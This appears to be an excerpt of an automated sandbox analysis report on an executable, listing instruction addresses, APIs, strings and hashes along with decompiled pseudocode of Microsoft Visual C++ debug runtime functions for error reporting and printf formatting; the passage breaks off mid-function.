0x0043c38e
0x0043c391
0x0043c391
0x0043c394
0x0043c394
0x0043c397
0x0043c3a3
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x00000000
0x0043c6c0
0x0043c247
0x0043c247
0x0043c24e
0x0043c251
0x00000000
0x00000000
0x0043c253
0x0043c253
0x00000000
0x0043c253
0x0043c238
0x0043c238
0x00000000
0x00000000
0x0043be98
0x0043be98
0x0043bea3
0x0043beab
0x0043beb2
0x0043beb5
0x0043beb5
0x0043beb8
0x0043bf18
0x0043beba
0x0043bec1
0x0043bec7
0x0043becd
0x0043bed4
0x0043bed7
0x0043bedd
0x0043bee5
0x0043bee7
0x0043beee
0x0043bef5
0x0043befc
0x0043bf04
0x0043bf06
0x0043bf08
0x0043bf08
0x0043bf0f
0x0043bf1f
0x0043bf25
0x0043bf28
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x00000000
0x0043c3ab
0x0043c3ae
0x0043c3b1
0x0043c3b4
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c414
0x0043c414
0x0043c41e
0x0043c41e
0x0043c424
0x0043c426
0x0043c429
0x0043c429
0x0043c42f
0x0043c42f
0x00000000
0x00000000
0x0043c3c6
0x0043c3c6
0x00000000
0x00000000
0x0043bfdd
0x0043bfdd
0x0043bfe1
0x0043bfef
0x0043bff2
0x0043bfe3
0x0043bfe3
0x0043bfe3
0x0043bff8
0x0043bffe
0x0043c004
0x0043c010
0x0043c016
0x0043c016
0x0043c019
0x0043c0a1
0x0043c0a1
0x0043c0a5
0x0043c0a7
0x0043c0ad
0x0043c0ad
0x0043c0b0
0x0043c0b7
0x0043c0ba
0x0043c0c0
0x0043c0c0
0x0043c0c0
0x0043c0c6
0x0043c0cc
0x0043c0cf
0x0043c0d5
0x0043c0d7
0x00000000
0x00000000
0x0043c0d9
0x0043c0d9
0x0043c0df
0x0043c0e2
0x0043c0e4
0x00000000
0x00000000
0x0043c0e6
0x0043c0ec
0x0043c0ef
0x0043c0ef
0x0043c0f7
0x0043c0f7
0x0043c0fd
0x0043c0fd
0x0043c102
0x00000000
0x0043c01f
0x0043c01f
0x0043c01f
0x0043c023
0x0043c025
0x0043c02a
0x0043c02a
0x0043c02d
0x0043c030
0x0043c036
0x0043c048
0x0043c048
0x0043c048
0x0043c04b
0x0043c051
0x00000000
0x00000000
0x0043c053
0x0043c053
0x0043c059
0x0043c05c
0x0043c05e
0x00000000
0x00000000
0x0043c060
0x0043c060
0x0043c069
0x0043c06f
0x0043c073
0x0043c07b
0x0043c07d
0x0043c07f
0x0043c085
0x0043c085
0x0043c088
0x0043c088
0x0043c094
0x0043c097
0x0043c03f
0x0043c042
0x0043c042
0x0043c045
0x0043c045
0x0043c09f
0x0043c105
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c6c0
0x00000000
0x0043c3bd
0x0043c3bd
0x00000000
0x00000000
0x0043c3d9
0x0043c3d9
0x0043c3e3
0x0043c3e3
0x0043c3ed
0x0043c3ed
0x0043c3f3
0x0043c3f5
0x0043c3fa
0x0043c404
0x0043c404
0x0043c407
0x0043c40b
0x0043c40b
0x0043c432
0x0043c435
0x0043c435
0x0043c43a
0x0043c45c
0x0043c45c
0x0043c462
0x0043c484
0x0043c484
0x0043c487
0x0043c4ce
0x0043c4ce
0x0043c4d1
0x0043c4ee
0x0043c4f2
0x0043c4fa
0x0043c4fa
0x0043c4fc
0x0043c502
0x0043c4d3
0x0043c4d3
0x0043c4d7
0x0043c4df
0x0043c4e0
0x0043c4e6
0x0043c4e6
0x0043c489
0x0043c48c
0x0043c48c
0x0043c48f
0x0043c4ad
0x0043c4b9
0x0043c4bc
0x0043c4bd
0x0043c4c3
0x0043c491
0x0043c491
0x0043c495
0x0043c49d
0x0043c49e
0x0043c49f
0x0043c4a5
0x0043c4a5
0x0043c4c9
0x0043c464
0x0043c464
0x0043c470
0x0043c476
0x0043c476
0x0043c43c
0x0043c43c
0x0043c448
0x0043c44e
0x0043c44e
0x0043c50b
0x0043c50b
0x0043c50e
0x0043c550
0x0043c550
0x0043c556
0x0043c55c
0x0043c562
0x00000000
0x0043c510
0x0043c510
0x0043c510
0x0043c517
0x00000000
0x00000000
0x0043c519
0x0043c519
0x0043c524
0x0043c52a
0x0043c52c
0x0043c532
0x0043c535
0x0043c537
0x0043c53d
0x0043c546
0x0043c54b
0x0043c568
0x0043c56b
0x0043c56b
0x0043c570
0x0043c575
0x0043c575
0x0043c57b
0x0043c57d
0x0043c583
0x0043c589
0x0043c589
0x0043c592
0x0043c592
0x0043c57b
0x0043c598
0x0043c59c
0x0043c5aa
0x0043c5ad
0x0043c5b0
0x0043c5b7
0x0043c5b9
0x0043c5b9
0x0043c59e
0x0043c59e
0x0043c59e
0x0043c5c6
0x0043c5c6
0x0043c5cc
0x0043c5ce
0x0043c5ce
0x0043c5d5
0x0043c5db
0x0043c5de
0x0043c5de
0x0043c5de
0x0043c5e4
0x0043c5e7
0x0043c5ea
0x0043c5ec
0x00000000
0x00000000
0x0043c5ee
0x0043c5f4
0x0043c5f4
0x0043c5fa
0x00000000
0x00000000
0x0043c5fc
0x0043c5fc
0x0043c5ff
0x0043c602
0x0043c609
0x0043c610
0x0043c618
0x0043c61e
0x0043c621
0x0043c624
0x0043c62b
0x0043c637
0x0043c63d
0x0043c643
0x0043c64a
0x0043c64c
0x0043c652
0x0043c652
0x0043c658
0x0043c658
0x0043c65e
0x0043c667
0x0043c66c
0x0043c66f
0x0043c5de
0x0043c5de
0x0043c5e4
0x0043c5e7
0x0043c5ea
0x0043c5ec
0x00000000
0x00000000
0x00000000
0x0043c5ec
0x0043c5de
0x0043c51b
0x0043c51b
0x0043c522
0x00000000
0x00000000
0x00000000
0x0043c522
0x00000000
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x00000000
0x00000000
0x0043bc49
0x0043bc49
0x0043bc4c
0x0043bc4f
0x00000000
0x00000000
0x0043bc54
0x0043bc57
0x0043bc5d
0x00000000
0x00000000
0x0043bc3e
0x0043bc41
0x0043bc44
0x00000000
0x00000000
0x0043bc33
0x0043bc36
0x0043bc39
0x00000000
0x00000000
0x0043bc62
0x0043bc62
0x0043bc65
0x0043bc65
0x0043bc68
0x00000000
0x00000000
0x0043bc6b
0x00000000
0x00000000
0x0043badb
0x0043badb
0x0043badd
0x0043baeb
0x0043badf
0x0043badf
0x0043badf
0x0043bafb
0x0043bb08
0x0043bb0a
0x0043bb0f
0x0043bb11
0x0043bb16
0x0043bb1b
0x0043bb1d
0x0043bb22
0x0043bb28
0x0043bb2a
0x0043bb2a
0x0043bb28
0x0043bb2b
0x0043bb32
0x00000000
0x0043bb34
0x0043bb39
0x0043bb55
0x0043bb5d
0x0043bb6a
0x0043bb6f
0x00000000
0x0043bb6f
0x0043bb32
0x0043bad5
0x0043c8c0
0x0043c8c7
0x0043c8de
0x0043c8de
0x0043c8e8
0x0043c8e8
0x0043c8ee
0x0043c8fb
0x0043c8fd
0x0043c902
0x0043c904
0x0043c909
0x0043c90e
0x0043c910
0x0043c915
0x0043c91b
0x0043c91d
0x0043c91d
0x0043c91b
0x0043c925
0x0043c970
0x0043c979
0x0043c97e
0x0043c927
0x0043c92c
0x0043c948
0x0043c950
0x0043c95d
0x0043c962
0x0043c962
0x00000000
0x0043c925
0x0043c8c9
0x0043c8d0
0x00000000
0x00000000
0x0043c8d2
0x0043c8d2
0x00000000
0x0043c8d2
0x0043c182
0x0043c182
0x0043c187
0x0043c1a3
0x0043c1ab
0x0043c1b5
0x0043c1b8
0x0043c1bd
0x0043c984
0x0043c991
0x0043c991
0x0043c1cd
0x0043c1d3
0x0043c1f3
0x0043c1d5
0x0043c1e2
0x0043c1e2
0x0043c1f5
0x00000000
0x0043c1f5

APIs

_get_int_arg.LIBCMTD ref: 0043C10E
__get_printf_count_output.LIBCMTD ref: 0043C11C
__invalid_parameter.LIBCMTD ref: 0043C1A3
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C1B8
_write_multi_char.LIBCMTD ref: 0043C74B
_write_string.LIBCMTD ref: 0043C766
_write_multi_char.LIBCMTD ref: 0043C792
__mbtowc_l.LIBCMTD ref: 0043C801

Strings

("'n' format specifier disabled", 0), xrefs: 0043C158, 0043C19E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BB16, 0043BB46, 0043C164, 0043C194
_woutput_s_l, xrefs: 0043BB4B, 0043C199
("Incorrect format specifier", 0), xrefs: 0043BB0A, 0043BB50

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: b96b91591b15634ed13aeec4d3d44b92b588d7a88a01b0bbb50d1bec33afa8bb
Instruction ID: d24bda457000012a06c68a680f32f09a3c5123a799914ca587f27c7b9621e512
Opcode Fuzzy Hash: b96b91591b15634ed13aeec4d3d44b92b588d7a88a01b0bbb50d1bec33afa8bb
Instruction Fuzzy Hash: 06A18FB5D002299BDF24DF55CC82BAEB770AF88305F14909AE6097B282D7785E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00429877, Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 100
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00429877() {
				intOrPtr _t36;
				intOrPtr* _t37;
				void* _t40;
				void* _t48;
				void* _t62;
				void* _t63;
				signed int _t64;
				void* _t66;
				void* _t67;

				 *(_t64 - 0x114c) = "...";
				if( *((intOrPtr*)(_t64 + 0x14)) == 0) {
					 *(_t64 - 0x1150) = 0x4040d6;
				} else {
					 *(_t64 - 0x1150) = "\nModule: ";
				}
				_push( *((intOrPtr*)(_t64 - 0x1124)));
				_push( *((intOrPtr*)(_t64 - 0x1128)));
				_push( *((intOrPtr*)(_t64 - 0x112c)));
				_push( *((intOrPtr*)(_t64 - 0x1130)));
				_push( *((intOrPtr*)(_t64 - 0x1134)));
				_push( *((intOrPtr*)(_t64 - 0x1138)));
				_push( *((intOrPtr*)(_t64 - 0x113c)));
				_push( *((intOrPtr*)(_t64 - 0x1140)));
				_push( *((intOrPtr*)(_t64 - 0x1144)));
				_push( *(_t64 - 0x114c));
				_push( *(_t64 - 0x1150));
				_push( *((intOrPtr*)(_t64 - 8)));
				_t61 =  *(_t64 + 8);
				_t53 = _t64 - 0x1010;
				_t36 = E0042BCA0(_t64 - 0x1010, _t64 - 0x1010, 0x1000, 0xfff, "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%s%s%s\n\n(Press Retry to debug the application)",  *((intOrPtr*)(0x405210 +  *(_t64 + 8) * 4)));
				_t67 = _t66 + 0x44;
				 *((intOrPtr*)(_t64 - 0xc)) = _t36;
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 =  *(L00422E80(_t53));
					E0041DA60( *(L00422E80(_t53)), 0x16, 0x22, L"(*_errno())", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x160, 0);
					_t67 = _t67 + 0x20;
				}
				_t37 = L00422E80(_t53);
				_t54 =  *((intOrPtr*)(_t64 - 0x1120));
				 *_t37 =  *((intOrPtr*)(_t64 - 0x1120));
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 = _t64 - 0x1010;
					E0041DFD0(E0041DB50(_t48, _t54, _t63, _t64 - 0x1010, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t44, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x165, 0);
					_t67 = _t67 + 0x24;
				}
				 *((intOrPtr*)(_t64 - 0x111c)) = E004358C0(_t64 - 0x1010, "Microsoft Visual C++ Debug Library", 0x12012);
				if( *((intOrPtr*)(_t64 - 0x111c)) == 3) {
					E0042D400(0x16);
					E00426070(3);
				}
				if( *((intOrPtr*)(_t64 - 0x111c)) != 4) {
					_t40 = 0;
				} else {
					_t40 = 1;
				}
				return E0042BCD0(_t40, _t48,  *(_t64 - 0x10) ^ _t64, _t61, _t62, _t63);
			}

0x00429877
0x00429891
0x0042989f
0x00429893
0x00429893
0x00429893
0x004298af
0x004298b6
0x004298bd
0x004298c4
0x004298cb
0x004298d2
0x004298d9
0x004298e0
0x004298e7
0x004298ee
0x004298f5
0x004298f9
0x004298fa
0x00429914
0x0042991b
0x00429920
0x00429923
0x0042992a
0x0042994b
0x0042994e
0x00429953
0x00429953
0x00429956
0x0042995b
0x00429961
0x00429967
0x00429989
0x00429999
0x0042999e
0x0042999e
0x004299ba
0x004299c7
0x004299cb
0x004299d5
0x004299d5
0x004299e1
0x004299ea
0x004299e3
0x004299e3
0x004299e3
0x004299f9

APIs

__snwprintf_s.LIBCMTD ref: 0042991B
__invoke_watson_if_oneof.LIBCMTD ref: 0042994E
_wcscpy_s.LIBCMTD ref: 00429990
__invoke_watson_if_error.LIBCMTD ref: 00429999
___crtMessageBoxW.LIBCMTD ref: 004299B2
_raise.LIBCMTD ref: 004299CB

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 00429933, 00429970
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 00429905
Module: , xrefs: 00429893
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042997A
__crtMessageWindowA, xrefs: 00429938, 00429975
Microsoft Visual C++ Debug Library, xrefs: 004299A6
_CrtDbgReport: String too long or IO Error, xrefs: 0042997F
..., xrefs: 00429877, 004298EE
(*_errno()), xrefs: 0042993D

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1485069716-2339404796
Opcode ID: 1a8f88605f24fc33bed51cd707675195f4f9f0095098b5450b03fba2128300a8
Instruction ID: 0bf1950250322d822990bcdc0010408a4b1c9dbbf0f32cd5ec94c91e8bc2d290
Opcode Fuzzy Hash: 1a8f88605f24fc33bed51cd707675195f4f9f0095098b5450b03fba2128300a8
Instruction Fuzzy Hash: 9E3166B5B40228ABDB24DA91DC46FDA7374AB48744F4041DEF309762C1D6B86EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00434B45, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00434B45(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t495;
				signed int _t497;
				signed int _t503;
				void* _t508;
				signed int _t510;
				void* _t530;
				signed int _t548;
				void* _t558;
				signed int _t566;
				signed int _t593;
				void* _t621;
				void* _t622;
				signed int _t623;
				void* _t625;
				void* _t626;

				L0:
				while(1) {
					L0:
					_t622 = __esi;
					_t621 = __edi;
					_t558 = __ebx;
					_t495 = E00428370(_t623 + 0x14);
					_t626 = _t625 + 4;
					 *((intOrPtr*)(_t623 - 0x288)) = _t495;
					if( *((intOrPtr*)(_t623 - 0x288)) == 0) {
						goto L82;
					}
					L81:
					__ecx =  *(__ebp - 0x288);
					if( *(__ecx + 4) != 0) {
						L83:
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L86:
						while(1) {
							L190:
							if( *(_t623 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t623 - 0x10) & 0x00000040) != 0) {
								if(( *(_t623 - 0x10) & 0x00000100) == 0) {
									if(( *(_t623 - 0x10) & 0x00000001) == 0) {
										if(( *(_t623 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t623 - 0x14)) = 0x20;
											 *(_t623 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t623 - 0x14)) = 0x2b;
										 *(_t623 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t623 - 0x14)) = 0x2d;
									 *(_t623 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t623 - 0x2c4)) =  *((intOrPtr*)(_t623 - 0x18)) -  *(_t623 - 0x24) -  *(_t623 - 0x1c);
							if(( *(_t623 - 0x10) & 0x0000000c) == 0) {
								E00435730(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
							}
							E00435770( *(_t623 - 0x1c), _t623 - 0x14,  *(_t623 - 0x1c),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
							_t626 = _t626 + 0x10;
							if(( *(_t623 - 0x10) & 0x00000008) != 0) {
								if(( *(_t623 - 0x10) & 0x00000004) == 0) {
									E00435730(0x30,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
									_t626 = _t626 + 0x10;
								}
							}
							if( *(_t623 - 0xc) == 0) {
								L212:
								E00435770( *(_t623 - 4),  *(_t623 - 4),  *(_t623 - 0x24),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t623 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t623 - 0x2dc) = 0;
								 *(_t623 - 0x2c8) =  *(_t623 - 4);
								 *(_t623 - 0x2cc) =  *(_t623 - 0x24);
								while(1) {
									L206:
									 *(_t623 - 0x2cc) =  *(_t623 - 0x2cc) - 1;
									if( *(_t623 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t623 - 0x32e) =  *( *(_t623 - 0x2c8));
									_t548 = E00434240(_t623 - 0x2d0, _t623 - 0x2d8, 6,  *(_t623 - 0x32e) & 0x0000ffff);
									_t626 = _t626 + 0x10;
									 *(_t623 - 0x2dc) = _t548;
									 *(_t623 - 0x2c8) =  *(_t623 - 0x2c8) + 2;
									if( *(_t623 - 0x2dc) != 0) {
										L209:
										 *(_t623 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t623 - 0x2d0) != 0) {
										L210:
										E00435770( *((intOrPtr*)(_t623 + 8)), _t623 - 0x2d8,  *(_t623 - 0x2d0),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t623 - 0x24c) >= 0) {
									if(( *(_t623 - 0x10) & 0x00000004) != 0) {
										E00435730(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
									}
								}
							}
							L216:
							if( *(_t623 - 0x20) != 0) {
								L0041C550( *(_t623 - 0x20), 2);
								_t626 = _t626 + 8;
								 *(_t623 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
								_t594 =  *(_t623 - 0x251);
								 *(_t623 + 0xc) =  *(_t623 + 0xc) + 1;
								if( *(_t623 - 0x251) == 0 ||  *(_t623 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t623 - 0x251) < 0x20 ||  *(_t623 - 0x251) > 0x78) {
										 *(_t623 - 0x310) = 0;
									} else {
										 *(_t623 - 0x310) =  *( *(_t623 - 0x251) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t623 - 0x250) =  *(_t623 - 0x310);
								_t510 =  *(_t623 - 0x250) * 9;
								_t566 =  *(_t623 - 0x25c);
								_t594 = ( *(_t510 + _t566 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t623 - 0x25c) = ( *(_t510 + _t566 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t623 - 0x25c) != 8) {
									L16:
									 *(_t623 - 0x318) =  *(_t623 - 0x25c);
									if( *(_t623 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t623 - 0x318) * 4 +  &M00435580))) {
										case 0:
											L18:
											 *(_t623 - 0xc) = 0;
											_t513 = E00431230( *(_t623 - 0x251) & 0x000000ff, E0041AE60(_t623 - 0x40));
											_t629 = _t626 + 8;
											__eflags = _t513;
											if(_t513 == 0) {
												L24:
												E00435690( *(_t623 - 0x251) & 0x000000ff,  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t626 = _t629 + 0xc;
												goto L218;
											} else {
												E00435690( *((intOrPtr*)(_t623 + 8)),  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t629 = _t629 + 0xc;
												_t571 =  *( *(_t623 + 0xc));
												 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
												_t594 =  *(_t623 + 0xc) + 1;
												__eflags = _t594;
												 *(_t623 + 0xc) = _t594;
												asm("sbb eax, eax");
												 *(_t623 - 0x27c) =  ~( ~( *(_t623 - 0x251)));
												if(_t594 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t525 = L0041E390();
													_t629 = _t629 + 0x14;
													__eflags = _t525 - 1;
													if(_t525 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t623 - 0x27c);
												if( *(_t623 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422E80(_t571))) = 0x16;
													E00422C10(_t558, _t571, _t621, _t622, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t623 - 0x2f4) = 0xffffffff;
													E0041AE30(_t623 - 0x40);
													_t503 =  *(_t623 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t74 = __ecx + 0x4355b8; // 0x498d04
											__edx =  *_t74 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M004355A0))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t98 = __ecx - 0x30; // -48
												__edx = __eax + _t98;
												 *(__ebp - 0x18) = __eax + _t98;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t109;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t117 = __ecx + 0x4355e0; // 0x4dee9003
											__edx =  *_t117 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M004355CC))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
